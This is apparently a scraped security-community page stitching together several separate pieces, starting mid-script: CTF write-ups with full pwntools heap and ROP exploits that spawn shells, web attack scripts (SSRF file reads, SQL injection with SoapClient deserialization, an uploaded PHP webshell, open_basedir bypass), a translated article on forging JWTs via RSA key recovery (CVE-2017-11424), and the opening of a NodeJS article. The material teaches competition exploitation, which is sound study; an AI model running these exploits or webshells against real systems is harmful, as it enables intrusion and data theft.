payload = payload.ljust(0xf8, '\x00') + p32(0xf8)
edit(p, 6, payload)
delete(p, 7)
# 64 idx 1 /// 32 idx 6
payload = p64(0) + p64(0x602050) + p64(0x20) + p64(0x602818) + p64(0x1000) + p64(0x602200) + p64(0x1000)[:5]
edit(p, 1, payload) #0x602058
payload = p32(0xf8) + p32(0x804a060) + p32(0x100) + p32(0x804a060) + p32(0x1000)[:3]
edit(p, 6, payload)
payload = p32(elf32.got['atoi']) + p32(0x20) + p32(0x804a200) + p32(0x1000) + p32(0x804a7fc) + p32(0x1000) + p32(0x0804a018) + p32(4)
edit(p, 6, payload)
edit(p, 3, p32(0x080489fb)) # test
############### 64 bit ROP
# call read to change write@got to syscall
ROP64 = p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['read']) + p64(1) + p64(elf64.got['write']) + p64(0) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(0x602700) + p64(0) * 4
ROP64 += p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['read']) + p64(1) + p64(0x602200) + p64(0) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(59+0x30) + p64(0) * 3 + '/bin/sh\x00'# 0x602900 binsh
# set rax
ROP64 += p64(0x400B2B) + p64(0) + p64(0)
# call syscall
ROP64 += p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['write']) + p64(0) + p64(0) + p64(0x602900) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(0x602700) + p64(0) * 4 + p64(0xdeadbeef)
edit(p, 1, ROP64)
############### 64 bit ROP
############### 32 bit ROP
read_plt = 0x8048460
write_got = 0x804A02C
write_plt = 0x80484D0
p_4reg_32 = 0x080489f8
p_ebx_32 = 0x08048439
bin_sh_addr = 0x804a2e8
# call read to change write@got to syscall
ROP32 = p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(0x804a300)+p32(1)+p32(0)
ROP32 += p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(write_got)+p32(1)+p32(0)
ROP32 += p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(0)+p32(0)+p32(0)
# set eax, edx
ROP32 += p32(0x080489f9) + p32(0) + p32(0) + p32(0xb+0x2c)
ROP32 += p32(0x8048907)
ROP32 += p32(0) * 9
ROP32 += p32(0x8048588)
# set ebx and call syscall
ROP32 += p32(p_ebx_32)+p32(bin_sh_addr)+p32(write_plt)
edit(p, 2, ROP32)
############### 32 bit ROP
# trigger ROP
payload = p32(0x80489ee) + p32(0) + p64(0x400c2f)[:6]
edit(p, 0, payload)
#raw_input()
payload = p32(0x602800) + p32(0) + p32(0x804a800-8) + p32(0x8048568) + p64(0x400c2d) + p64(0x602800)[:6]
p.sendafter('>> ', payload)
##### first read to change write@got in 64bit
p.send('\x7b')
##### second read to change write@got in 32bit
p.send(chr(count))
p.interactive()
p.close()
if __name__ == '__main__':
pwn(108) # Bruteforce 32 bit libc
## Reverse
### Re_sign
upx壳
对用户输入进行魔改后的base64加密，然后再与标准base64编码表下标组成的特定数组进行对比。
### Cplusplus
C++的逆向，输入首先被分为三段，每段都是纯数字，格式是12@345#678。之后分别对三段进行验证。第一段实现了Mersenne
twister这个伪随机数算法，用户的输入是随机种子，不过会检查用户的输入小于0X6F，这个量级太小了，用x64dbg动态调，然后手动输入就爆破出来了，比较幸运我是从后往前爆破的。
之后第二段直接验证了输入的每一位，比较简单。第三段是由第一段生成的，也很简单。最后就得到了答案。
### signal vm
main函数首先fork了一下，子进程首先ptarce_traceme，之后执行一大段非法指令，父进程调用ptrace，对子进程进行trace。
每次子进程出现异常时，父进程都会监控到，拿到子进程的寄存器值和当前执行指令，根据指令进行一系列操作。如同题目一样，实现了基于signal的虚拟机，父进程实际执行子进程的代码。
之后就是逆向分析了，先分析opcode，之后反汇编，反编译，最后看懂代码的含义，逆向。关键的代码对用户输入和7*10的矩阵做乘法，最后和目标矩阵对比。解一个矩阵方程就得到了flag。
opcode手工反编译
opcode stat asm comment
06 01 06 00 00 00 00 4 mov reg_6, num(0)
06 01 03 00 00 00 00 4 mov reg_3, num(0)
00 00 00 0F b jmp num(0F) ;jump L0
00 00 00
CC
L1: check input size
00 01 03 01 00 00 00 5 add reg_3, 1
L0:
06 00 00 03 4 mov reg_0, reg_3
06 00 02 00 4 mov reg_2, reg_0
06 01 00 32 00 00 00 4 mov reg_0, num(32)
CC
00 00 00 02 5 add reg_0, reg_2
06 02 00 00 4 load reg_0, mem:reg_0 ;input[0]
30 C0
F6 F8 01 00 00 00 00 00 8 cmp reg_0, num(0)
00 00 02 D6 FF FF FF b jne num(d6) ;jump L1
30 C0
F6 F8 01 03 46 00 00 00 8 cmp reg_3, num(0x46) ;len
00 00 01 15 00 00 00 b jeq num(0x15) ;jump L2
06 01 00 00 00 00 00 4 mov reg_0, 0
00 00 00 E1 01 00 00 b jmp num (0x01E1) ;ret(0)
;------------------------------------------------------------------------------- L2:
06 01 03 00 00 00 00 4 mov reg_3, num(0) ;i = 0
00 00 00 40 01 00 00 b jmp num(0x0140) ;jump L8
L3:
06 01 04 00 00 00 00 4 mov reg_4, num(0) ;j = 0
00 00 00 11 01 00 00 b jmp num(0x0111) ;jump L4
L5:
06 01 06 00 00 00 00 4 mov reg_6, num(0) ;res = 0
06 01 05 00 00 00 00 4 mov reg_5, num(0) ;k = 0
00 00 00 A1 00 00 00 b jump num(0xA1) ;jump L6
L7:
06 00 02 03 4 mov reg_2, reg_3 ;tmp_1 = i
06 00 00 02 4 mov reg_0, reg_2
CC
08 01 00 03 00 00 00 5 LS reg_0, 3
CC
01 00 00 02 5 sub reg_0, reg_2
06 00 02 00 4 mov reg_2, reg_0 ;tmp_1 = 7*i
06 00 00 05 4 mov reg_0, reg_5
CC
00 00 00 02 5 add reg_0, reg_2 ;
06 00 02 00 4 mov reg_2, reg_0 ;tmp_1 += k
06 01 00 32 00 00 00 4 mov reg_0, num(0x32) ;offset
CC
00 00 00 02 5 add reg_0, reg_2 ;tmp_1 += 50; tmp_1 = 7*i + k + 50
06 02 01 00 4 load reg_1, mem:reg_0 ;tmp_1 = input[7*i + k]
06 00 02 05 4 mov reg_2, reg_5
06 00 00 02 4 mov reg_0, reg_2
CC
08 01 00 03 00 00 00 5 LS reg_0, 3 ;
CC
01 00 00 02 5 sub reg_0, reg_2 ;tmp_2 = 7*k
06 00 02 00 4 mov reg_2, reg_0
06 00 00 04 4 mov reg_0, reg_4
CC
00 00 00 02 5 add reg_0, reg_2 ;tmp_2 += j
06 00 02 00 4 mov reg_2, reg_0
06 01 00 00 00 00 00 4 mov reg_0, 0
CC
00 00 00 02 5 add reg_0, reg_2 ;
06 02 02 00 4 load reg_2, mem:[reg_0] ;chr = mem[tmp_2] = mem[(7*k + j) ]
06 00 00 01 4 mov reg_0, reg_1
CC
02 00 00 02 5 mult reg_0, reg_2 ;tmp_3 = chr * tmp_1
CC
04 01 00 00 01 00 00 5 mod reg_0, num(0x100) ;tmp_3 %= 0x100
CC
00 00 06 00 5 add reg_6, reg_0 ;res += tmp3
CC
04 01 06 00 01 00 00 5 mod reg_6, num(0x100) ;res %= 0x100
06 00 00 05 4 mov reg_0, reg_5
CC
00 01 00 01 00 00 00 5 add reg_0, 1
06 00 05 00 4 mov reg_5, reg_0 ;k += 1
30 C0
L6:
F6 F8 01 05 06 00 00 00 8 cmp reg_5, num(6)
00 00 06 5C FF FF FF b jle num(0XFF5C) ;jump L7
06 00 02 03 4 mov reg_2, reg_3
06 00 00 02 4 mov reg_0, reg_2
CC
08 01 00 03 00 00 00 5 LS reg_0, 3 ;
CC
01 00 00 02 5 sub reg_0, reg_2 ;tmp_1 = 7 * i
06 00 02 00 4 mov reg_2, reg_0
06 00 00 04 4 mov reg_0, reg_4
CC
00 00 00 02 5 add reg_0, reg_2 ;tmp_1 += j
06 00 02 00 4 mov reg_2, reg_0
06 01 00 96 00 00 00 4 mov reg_0, num(0x96)
CC
00 00 00 02 5 add reg_0, reg_2 ;tmp_1 += 0x96
06 00 01 06 4 mov reg_1, reg_6
06 20 00 01 4 sto MEM:[reg_0], reg_1 ;mem[tmp_1] = res
06 00 00 04 5 mov reg_0, reg_4
CC
00 01 00 01 00 00 00 5 add reg_0, 1
06 00 04 00 4 mov reg_4, reg_0 ;j += 1
L4:
F6 F8 01 04 06 00 00 00 b cmp reg_4, num(6)
00 00 06 EC FE FF FF 8 jle num(0XFFEC) ;jump L5
06 00 00 03 4 mov reg_0, reg_3 ;i += 1
00 01 00 01 00 00 00 5 add reg_0, 1
06 00 03 00 4 mov reg_3, reg__0
L8:
F6 F8 01 03 09 00 00 00 8 cmp reg_3, num(9)
00 00 06 BD FE FF FF b jle num(0xFFBD) ;jump L3
;--------------------------------------------------------------------------------
L10:
06 01 03 00 00 00 00 4 mov reg_3, 0 ;i = 0
00 00 00 63 00 00 00 8 jmp num(0x63) ;jump L9
06 00 00 03 4 mov reg_0, reg_3
06 00 02 00 4 mov reg_2, reg_0
06 01 00 96 00 00 00 4 mov reg_0, num(0x96)
CC
00 00 00 02 5 add reg_0, reg_2 ;tmp = i + 0x96
06 02 01 00 4 mov reg_1, reg_0
06 00 00 03 4 mov reg_0, reg_3
06 00 02 00 4 mov reg_2, reg_0
06 01 00 FA 00 00 00 4 mov reg_0, num(0xFA)
CC
00 00 00 02 5 add reg_0, reg_2 ;tmp_2 = i + 0xFA
06 02 00 00 4 load reg_0, mem:reg_0 ;reg_0 = mem[tmp_2]
30 C0
F6 F8 00 01 00 8 cmp reg_1, reg_0 ;if tmp == tmp_2; i + 0x96 == mm[i + 0xFA]
00 00 01 15 00 00 00 b jeq num(15) ;jump L11
06 01 00 00 00 00 00 4 mov reg_0, 0 ;ret 0
00 00 00 2F 00 00 00 b jmp num(0x2F) ;jump END
L11:
06 00 00 03 4 mov reg_0, reg_3
CC
00 01 00 01 00 00 00 5 add reg_0, 1
06 00 03 00 4 mov reg_3, reg_0 ;i+=1
30 C0
L9:
F6 F8 01 03 45 00 00 00 8 cmp reg_3, num(0x45) ;i == 0x45
00 00 06 9A FF FF FF b jle num(0xFF9A) ;jump L10
06 01 00 01 00 00 00 4 mov reg_0, num(1) ;ret 1
END:
z3解矩阵方程脚本
from z3 import *
a = [[0xD6, 0x4D, 0x2D, 0x85, 0x77, 0x97, 0x60],
[0x62, 0x2B, 0x88, 0x86, 0xCA, 0x72, 0x97],
[0xEB, 0x89, 0x98, 0xF3, 0x78, 0x26, 0x83],
[0x29, 0x5E, 0x27, 0x43, 0xFB, 0xB8, 0x17],
[0x7C, 0xCE, 0x3A, 0x73, 0xCF, 0xFB, 0xC7],
[0x9C, 0x60, 0xAF, 0x9C, 0xC8, 0x75, 0xCD],
[0x37, 0x7B, 0x3B, 0x9B, 0x4E, 0xC3, 0xDA],
[0xD8, 0xCE, 0x71, 0x2B, 0x30, 0x68, 0x46],
[0x0B, 0xFF, 0x3C, 0xF1, 0xF1, 0x45, 0xC4],
[0xD0, 0xC4, 0xFF, 0x51, 0xF1, 0x88, 0x51]]
b =[[0x41, 0x6C, 0x6D, 0x6F, 0x73, 0x74, 0x20],
[0x68, 0x65, 0x61, 0x76, 0x65, 0x6E, 0x20],
[0x77, 0x65, 0x73, 0x74, 0x20, 0x76, 0x69],
[0x72, 0x67, 0x69, 0x6E, 0x69, 0x61, 0x2C],
[0x20, 0x62, 0x6C, 0x75, 0x65, 0x20, 0x72],
[0x69, 0x64, 0x67, 0x65, 0x20, 0x6D, 0x6F],
[0x75, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x73]]
print a
print b
s = Solver()
mat = [[BitVec('x%d' % (x+y*7) , 8) for x in range(7)] for y in range(10)]
for i in range(10):
for j in range(7):
res = 0
for k in range(7):
res += mat[i][k] * b[k][j]
s.add(res == a[i][j])
print s.check()
m = s.model()
print m
ans = ''
for i in range(10):
for j in range(7):
ans += chr(int(str(m[ mat[i][j]])) )
print ans
## Web
### SSRF Me
import requests
conn = requests.Session()
url = "http://139.180.128.86"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return resp
def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print resp,i
print a
### ShellShellShell
首先可以通过备份文件下载到源码，
在publish中
function publish()
{
......
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
.....
存在注入点
然后可以注入出admin密码`jaivypassword`
但是要求127.0.0.1登录。所以我们通过反序列化漏洞制造SSRF登录
$target = "http://127.0.0.1/index.php?action=login";
$post_string = 'username=admin&password=jaivypassword&code=ff58612ddcaf52008dff6fcc13bda79f';
$headers = array(
'Cookie: PHPSESSID=9l9ffojnajbukkljoth3ok8gv5',
'Connection: close'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^^^^^','uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
// $b = unserialize($aaa);
// $b->a();
echo urlencode($aaa);
之后登录，上传shell以及代理工具，进行内网渗透
POST /index.php HTTP/1.1
Host: 172.18.0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/
Content-Type: multipart/form-data; boundary=---------------------------16260195443769
Content-Length: 705
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------16260195443769
Content-Disposition: form-data; name="hello"
Content-Type: application/octet-stream
/tmp/comrade.php
-----------------------------16260195443769
Content-Disposition: form-data; name="file[1]"
Content-Type: application/octet-stream
abc
-----------------------------16260195443769
Content-Disposition: form-data; name="file[2]"
Content-Type: application/octet-stream
../../../../../../../tmp/comrade.php
-----------------------------16260195443769
Content-Disposition: form-data; name="file"; filename="haha.php"
Content-Type: application/octet-stream
@<?php echo `find / -name "*flag*"`; ?>
-----------------------------16260195443769--
得到flag
### Giftbox
login 命令存在注入点
首先通过注入获得admin密码
开始没有意识到totp到interval=5，只好用前端去爆破
之后
from pyotp import TOTP
import requests
import base64
import time
import json
url = "http://222.85.25.41:8090/shell.php"
conn = requests.Session()
totp = TOTP('GAXG24JTMZXGKZBU',8,interval=5)
def send(content):
param = {
'a':content,
"totp":totp.now(),
"x":"""
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
""",
}
resp = conn.get(url,params=param)
print(resp.text)
def login():
send("login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}")
def destruct():
send("destruct")
def launch():
send("launch")
def add(name,val):
assert(len(val) < 13)
send("targeting {} {}".format(name,val))
login()
destruct()
add("b","{$_GET{x}}")
add("c","${eval($b)}")
add("d","$d")
launch()
flag:`de1ctf{h3r3_y0uuur_g1fttt_0uT_0f_b0o0o0o0o0xx}`
### cloudmusic_rev
将本题的so库与国赛的so库进行了对比，发现除了国赛的漏洞被“修补”外，没有其它改动。但是这个“修补”本身也存在另一个漏洞。当strlen正好为0x70的时候，会导致mem_mframe_data溢出'\x00'，进而使后面的mframe_data被修改，正好指回了保存admin密码的位置，使得admin密码被返回。
unsigned __int64 __fastcall read_title(__int64 a1, __int64 a2)
{
unsigned __int64 result; // rax
__int64 v2; // rax
__int64 v3; // rax MAPDST
result = load_tag((const char *)a1, a2);
if ( result )
{
v2 = tag_get_title(result);
v3 = parse_text_frame_content(v2);
result = strlen(*(const char **)(v3 + 8));
if ( result <= 0x70 )
{
mframe_size = strlen(*(const char **)(v3 + 8));
result = (unsigned __int64)strcpy((char *)&mem_mframe_data, *(const char **)(v3 + 8));
}
}
return result;
}
构造相应的mp3文件
上传得到管理员密码，之后通过固件上传
这其中需要用任意文件读，在share.php
由于其过滤了php关键字，我们直接url编码后base64即可
之后，我们需要知道文件名。
<?php
mt_srand(time());
echo time()." | ";
echo md5(mt_rand().'124.64.17.72')."\n";
import requests
import os
cookie = {
"PHPSESSID":"dgs7mi8558jubi3nrqrtht929a"
}
file = {
"file_data":open("fireware","rb")
}
data = {
"file_id":0
}
os.system("php exp.php")
resp = requests.post("http://222.85.25.41:9090/hotload.php?page=firmware",data=data,files=file,cookies=cookie)
os.system("php exp.php")
print resp.text
之后将文件名填入然后获取版本信息即可。 | 社区文章 |
# 技术分享：如何在没有公钥的情况下实现JWT密钥滥用
|
##### 译文声明
本文是翻译文章，文章原作者 silentsignal，文章来源：blog.silentsignal.eu
原文地址：<https://blog.silentsignal.eu/2021/02/08/abusing-jwt-public-keys-without-the-public-key/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
这个故事要从我们之前的一个老项目开始说起，当时我们的任务是验证业务应用程序如何处理事务的数字签名，以判断应用是否遵守相关的安全原则。
这个应用程序使用了RSA签名，当时我们在常用OpenSSL
API设置了断点，但并未被触发，研究半天之后，我们意识到开发人员实现了安全领域的人最喜欢称之为“Textbook
RSA”的东西。这当然导致了报告中的红色标记和开发的大规模延迟，但也给我们带来了一些不寻常的问题需要解决。
其中一个问题源于这样一个事实：尽管我们可以对方案提出多个理论上的攻击，但在这个应用程序中使用的公钥并没有在任何地方发布，没有它，我们就没有实际攻击的起点。
需要注意的是，虽然公钥密码系统保证私钥不能从公钥、签名、密文等中派生，但通常没有这样的公钥保证！事实上，熟悉加密堆栈交换的技术人员提出了一个非常简单的解决方案：只需找到所有可用消息签名对之差的最大公约数（GCD）即可。这里有几点值得注意：
1、RSA公钥是（n，e）整数对，其中n是模，e是公共指数。由于e通常是一些硬编码的小数字，我们只对求n感兴趣。
2、尽管RSA涉及大量的数字，但自古以来就有非常有效的算法来寻找数字的GCD（我们不必进行暴力因子分解）。
3、虽然这种方案有一定的概率性，但在实践中我们通常可以尝试所有可能的答案。此外，我们的机会随着已知消息签名对的数量而增加。
在我们的例子中，只要两个签名就可以恢复公钥。此时，我们有了一个基于gmpy2库的快速实现，它允许我们使用大型整数和Python中的现代高效算法。
如果你是一个正在考虑/使用JWT（或任何东西）的开发人员，请至少花点时间阅读这篇文章！这里还有一些替代方案。
理论上，当使用RSA私钥对JWT签名时，攻击者可能会将签名算法更改为HMAC-SHA256。在验证过程中，JWT实现可以看到这个算法，但是使用配置的RSA公钥进行验证。问题是对称验证过程假设使用相同的公钥生成MAC，因此如果攻击者拥有RSA公钥，那么他也可以伪造签名。
但实际上，公钥很少可用（至少在黑盒设置中是这样）。但正如我们前面看到的，我们也许可以用一些代数来解决这个问题。问题是：是否有任何实际因素可以阻止这种利用？
## CVE-2017-11424分析与利用
为了证明此方法的可行性，我们将针对PyJWT版本1.5.0中的一个漏洞进行分析，该漏洞允许密钥混淆攻击，如前一节所述。该库使用黑名单来避免密钥参数“看起来”像对称方法中的非对称密钥，但在受影响的版本中，它忽略了“BEGIN
RSA PUBLIC key”头，这将允许PKCS#1格式的PEM编码公钥被滥用。
根据技术文档描述，RSA密钥将作为PEM编码字节数组提供给编码/解码API（也进行签名和验证）。为了使我们的攻击发挥作用，我们需要基于消息和签名对创建此数组的完美副本。让我们从影响签名值的因素开始介绍：
1、字节顺序：JKS整数表示的字节顺序与gmpy2匹配。
2、消息规范化：根据JWT标准，RSA签名是在令牌的Base64URL编码部分的SHA-256散列上计算的，不需要对分隔符、空格或特殊字符进行规范化。
3、消息填充：JKS规定了确定性PKCS#1v1.5填充。使用适当的低级加密API将为我们提供符合标准的输出，而不会与ASN.1发生冲突。
这些问题都不大，因为我们可以通过对原始代码进行一些修改，就能够以成功地重新创建JWT令牌的Base64URL编码的签名表示。
1、字段顺序：理论上我们可以提供任意顺序的e和n。幸运的是，PKCS#1在ASN.1结构中定义了严格的参数顺序。
2、序列化：ASN.1结构的DER（和PEM）编码是确定的。
3、附加数据：PKCS#1没有为公钥定义附加（可选）数据成员。
4、布局：虽然从技术上讲，在不使用标准换行符的情况下解析PEM数据是可行的，但文件通常是用64个字符的换行符生成的。
如我们所见，PKCS#1和PEM几乎不允许更改，因此，如果生成符合标准的PEM文件，则很有可能与目标文件匹配。在其他输入格式（如JWK）的情况下，灵活性可能会导致同一密钥的大量可能编码，从而阻止攻击。
由于pyasn1和asn1包的缺陷和文档不足，经过大量的研究之后，asn1tools最终被证明可以用来创建定制的DER（以及PEM）结构。
生成的输出与原始公钥完全匹配，因此我可以成功演示令牌伪造，而无需有关非对称密钥的初步信息：
漏洞利用演示：<https://asciinema.org/a/389722>
我们使用JKS标准的2048位密钥进行了测试：在笔记本电脑上对两个签名运行GCD算法只花了不到一分钟的时间，该算法为PKCS#1生成了两个很容易测试的候选密钥。
像往常一样，所有代码都可以在【GitHub】上获得。如果您需要帮助将此技术集成到Super Duper JWT Haxor工具中，请使用Issue
tracker！
## 总结
人们不应该依赖公钥的保密性，因为这些参数不受数学陷门的保护。
本文展示了进攻性安全的工程方面，理论和实践可能相去甚远：虽然这里的主要数学技巧似乎不直观，但实际上很容易理解和实现。使开发变得困难的是找出所有这些实现细节，使纸笔公式在实际计算机上工作。有趣的是，对于任何使用数字证书和密钥的人来说，这里至少有2/3的工作是关于读取标准、使ASN.1工作等等（更不用说在Python3:P中不断转换字节数组和字符串了），似乎这些标准的僵化使得所需密钥的格式更可预测，开发也更可靠！
## 参考资料
1、<http://cs.wellesley.edu/~cs310/lectures/26_rsa_slides_handouts.pdf>
2、<https://crypto.stackexchange.com/a/30301/7826>
3、<https://crypto.stackexchange.com/a/33644/7826>
4、<https://en.wikipedia.org/wiki/Euclidean_algorithm>
5、<https://pypi.org/project/gmpy2/>
6、<https://www.howmanydayssinceajwtalgnonevuln.com/>
7、<https://pyjwt.readthedocs.io/en/stable/usage.html>
8、<https://nvd.nist.gov/vuln/detail/CVE-2017-11424>
9、<https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail>
10、<https://tools.ietf.org/html/rfc3447#appendix-A.1.1>
11、<http://ratmirkarabut.com/articles/ctf-writeup-google-ctf-quals-2017-rsa-ctf-challenge/>
12、<https://tls.mbed.org/kb/cryptography/asn1-key-structures-in-der-and-pem>
13、<https://asn1tools.readthedocs.io/en/latest/>
14、<https://github.com/silentsignal/rsa_sign2n> | 社区文章 |
# DASCTF X BUUOJ 五月大联动PWN wp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ticket
### 漏洞分析
首先查看一下文件类型以及保护，64位elf文件，没有开启PIE。
然后分析一下程序的逻辑。
初始化阶段，程序会将我们输入的name、word、age（age是一个int）的指针保存在bss段的堆数组上方。
然后就是找程序漏洞。add函数先对idx进行检查，然后输入size，然后将申请到的堆地址保存在bss段上`&nbytes + idx +
4`地址处，将size保存在`&nbytes + idx + 0xA`处。
计算可以知道堆地址数组的范围是`0x6020a0-0x6020c8`
size数组的范围是`0x6020d0-0x6020f8`，这是比较重要的一点，与我们后面利用有一定关联。
add():
puts("Index: ");
idx = read_bss();
if ( idx < 0 || idx > 5 )
{
puts("The cooperation was not very good!!!");
}
else if ( *(&nbytes + idx + 0xA) ) // size
{
puts("Ticket exist!!!");
}
else
{
puts("Remarks size: ");
v2 = read_bss();
if ( v2 < 0 || v2 > 0x200 )
{
puts("Don't speak too much");
}
else
{
*(&nbytes + idx + 4) = (size_t)malloc(v2);
*(&nbytes + idx + 0xA) = v2;
puts("It's ok!!!");
}
}
然后是delete函数，该函数有明显漏洞，在检查idx时只限制了大于3，输入可以是负数。
puts("Index: ");
v1 = read_bss();
if ( v1 > 3 )//漏洞点
{
puts("The cooperation was not very good!!!");
}
else if ( *(&nbytes + v1 + 10) )
{
free((void *)*(&nbytes + v1 + 4));
*(&nbytes + v1 + 10) = 0LL;
puts("It's ok!!!");
}
else
{
puts("It's empty!!!");
}
其他函数没有明显漏洞，show和edit前都会对对应size[idx]检查。防止了double free和UAF。
另外我们还能对初始时的name、word、age做一次修改和show_info。
### 利用思路
我们仔细观察bss段上的内存布局。发现可以通过delete（-2）的方式将buf，即我们输入name的堆块free，使进入fastbin中。但是注意在delete(-2)时会对`size_list[-2]`进行非零检查，`size_list[-2]`刚好是`heap_list[4]`，所以说我们事先申请一个idx=4的chunk，使满足`size_list[-2]!=0`就可以将buf
free掉。
.bss:0000000000602088 age
.bss:0000000000602090 ; char *buf
.bss:0000000000602098 ; char *word
.bss:00000000006020A0 heap_list align 80h
.bss:00000000006020A0 _bss ends
这个可以用来泄露出堆地址，先free一个0x20大小的chunk0，然后利用delete(-2)将buf释放掉，所以此时fastbin中`buf->chunk0`，然后通过show_info泄露出堆地址。
有了堆地址，就可以利用一次修改info的机会，在age中写入指向一个unsorted
bin大小的堆指针，同样用delete(-3)将age中存储的堆释放，即拿到unsorted bin。再通过show泄露出libc基址。
由于libc版本是2.23。利用fastbin attack，从上述unsorted
bin中切出一个0x70大小的chunk，就造成了堆块重叠，有两个指针指向该chunk。然后利用`malloc_hook-0x23`处的0x7f，申请到malloc_hook上方，写入one_gadget。
### wp
比赛的时候官方悄悄换了附件，痛失3血。
from pwn import *
import LibcSearcher
context.log_level = 'debug'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
def add(idx,size):
sla('>> ','1')
sla('Index:',str(idx))
sla('size:',str(size))
def edit(idx,con):
sla('>> ','3')
sla('Index:',str(idx))
sla('remarks:',con)
def delete(idx):
sla('>> ','2')
sla('Index:',str(idx))
def show(idx):
sla('>> ','4')
sla('Index:',str(idx))
def change_info(name,con,age):
sla('>> ','5')
sla('name: ',name)
sla('fei): ',con)
sla('age: ',str(age))
def show_info():
sla('>> ','6')
#sh = process('./ticket')
sh = remote('node3.buuoj.cn',26857)
libc = ELF('./libc-2.23.so')
elf = ELF('./ticket')
sla('name: ','name')
sla('fei): ','con')
sla('age: ',str(0x602058))
add(0,0x20)
add(1,0x60)
add(2,0xf8)
add(3,0xf8)
add(4,0xf8)
delete(0)
delete(-2)
show_info()
ru('Name: ')
heap_addr = u64(rc(4).ljust(8,'\x00')) & 0xfffffff
print hex(heap_addr)
change_info('a','a',heap_addr+0xb0)
#gdb.attach(sh)
delete(-3)
show(2)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-88-0x3c4b20
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
system = libc_base + libc.sym['system']
add(0,0x60)
delete(0)
#gdb.attach(sh)
edit(2,p64(malloc_hook-0x23))
print hex(libc_base)
delete(3)
add(3,0x60)
add(0,0x60)
edit(0,'a'*0x13+p64(0xf1147+libc_base))
#gdb.attach(sh)
delete(3)
add(3,0x60)
ti()
## card
本题就是简单的off by one，难点就在于逆向时很难发现漏洞，但是可以通过调试发现。
就是在eidt函数中这段代码，其实是size的第3 bit为1时候，返回值为1.
`(unsigned int)((signed int)((((HIDWORD(v1) >> 28) + (unsigned __int8)v1) &
0xF) - (HIDWORD(v1) >> 28)) >> 3)`
造成后面读取输入时溢出一个字节。
v1 = vuln(size);
return read(0, *((void **)&heap + 2 * (int)v4), v0 + v1);
就是常规的off by one，成功拿到三血
完整wp如下：
from pwn import *
import LibcSearcher
context.log_level = 'debug'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
def add(idx,size,con='1'):
sla('choice:','1')
sla('card:',str(idx))
sla('power:',str(size))
sla('quickly!',con)
def edit(idx,con):
sla('choice:','2')
sla('card',str(idx))
sla('bomb show',con)
def delete(idx):
sla('choice:','3')
sla('card:',str(idx))
def show(idx):
sla('choice:','4')
sla('index:',str(idx))
#sh = process('./pwn')
sh = remote('node3.buuoj.cn',25400)
libc = ELF('./libc.so')
add(0,0x18)
add(1,0x80)
add(2,0x20)
#edit(0,'a'*0x18+p8(0x31))
for i in range(7):
add(i+6,0xb8)
add(3,0x10)
for i in range(7):
delete(i+6)
edit(0,'a'*0x18+p8(0xc1))
delete(1)
# gdb.attach(sh)
for i in range(7):
add(i+6,0xb8)
add(4,0xb0)
show(4)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-96-0x3ebc40
malloc_hook = libc_base + libc.sym['__malloc_hook']
delete(2)
edit(4,'a'*0x80+p64(0)+p64(0x31)+p64(malloc_hook))
print hex(libc_base)
#
delete(6)
delete(7)
delete(8)
add(6,0x20)
add(7,0x20,p64(0x10a38c+libc_base))
#gdb.attach(sh)
sla('choice:','1')
sla('card:',str(8))
sla('power:',str(20))
ti()
## 总结
比较基础的一次比赛，ak了pwn的感觉真不错，不过都比较简单，还是要努力。 | 社区文章 |
# 前言
最近在看NodeJS的漏洞，进行相关总结。以下不对每一条链进行剖析，只给出相关利用方法。如果有错误，还请各位师傅指正。
# NodeJS
### 介绍
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。
